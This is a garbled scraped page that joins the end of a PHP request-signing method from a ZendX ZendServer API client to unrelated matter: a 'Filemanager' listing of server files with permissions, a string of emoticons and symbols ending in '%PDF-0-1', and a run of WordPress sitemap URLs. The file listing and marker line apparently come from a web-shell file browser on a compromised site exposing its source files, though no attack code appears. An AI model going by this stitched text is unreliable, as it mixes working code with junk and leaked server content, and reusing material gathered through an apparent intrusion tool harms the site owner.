		$client->resetParameters();
		
		$date = gmdate('D, d M Y H:i:s ') . 'GMT';

		if ($this->_httpClient && ($host = $this->_httpClient->getHeader('host'))) {
			// host is taken from pre-set header in HTTP client
		} else {
			$host = $this->_serverUrl->getHost() . ':' . $this->_serverUrl->getPort();
		}
		
		$path = rtrim($this->_serverUrl->getPath(), '/') . '/Api/' . $action;
		
		$signature = $this->_generateRequestSignature($host, $path, $date);
		
		$client->setHeaders(array(
			'Accept'		   => self::ZSAPI_MEDIATYPE . ';version=' . self::ZSAPI_VERSION,  
			'Date'			 => $date,
			'Host'			 => $host,
			'X-Zend-Signature' => "$this->_apiKeyName; $signature"
		));
		
		$url = clone $this->_serverUrl;
		$url->setPath($path);
		
		$method = strtoupper($method);
		switch($method) {
			
			case 'GET':
				if (! empty($files)) { 
					require_once 'ZendX/Service/ZendServer/Exception.php';
					throw new ZendX_Service_ZendServer_Exception("Sending a GET request but \$files is not empty");
				}
				$client->setParameterGet($params);
				break;
				
			case 'POST':
				$client->setParameterPost($params);
				if ($files) { 
					foreach ($files as $key => $file) { 
						if (isset($file['path'])) { 
							$data = null;
							$path = $file['path'];
						} elseif (isset($file['data'])) { 
							$data = $file['data'];
							$path = $key;
						} else {
							require_once 'ZendX/Service/ZendServer/Exception.php';
							throw new ZendX_Service_ZendServer_Exception("File information for $key is missing both data or path");
						}
						
						if (! isset($file['ctype'])) { 
							$file['ctype'] = 'application/octet-stream';
						}
						
						$client->setFileUpload($path, $key, $data, $file['ctype']);
					}
				}
				break;
				
			default:
				require_once 'ZendX/Service/ZendServer/Exception.php';
				throw new ZendX_Service_ZendServer_Exception("Unexpected request method: $method");
				break;
		}
		
		$client->setUri($url);
	}
}


Filemanager

Name Type Size Permission Actions
ZendServer Folder 0755
ZendServer.php File 32.87 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml